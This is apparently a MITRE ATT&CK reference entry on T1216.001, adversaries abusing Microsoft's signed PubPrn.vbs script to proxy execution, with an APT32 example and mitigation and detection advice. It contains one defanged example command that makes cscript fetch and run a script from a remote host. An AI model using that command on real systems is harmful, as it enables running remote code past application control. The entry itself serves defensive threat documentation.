Signed Script Proxy Execution: PubPrn

Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.

PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.[1] An example command is cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.

ID: T1216.001
Sub-technique of:  T1216
Tactic: Defense Evasion
Platforms: Windows
Permissions Required: User
Data Sources: Command: Command Execution, Process: Process Creation, Script: Script Execution
Version: 1.0
Created: 03 February 2020
Last Modified: 08 June 2020

Procedure Examples

ID Name Description
G0050 APT32

APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.[2]

Mitigations

ID Mitigation Description
M1038 Execution Prevention

Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

Detection

Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

References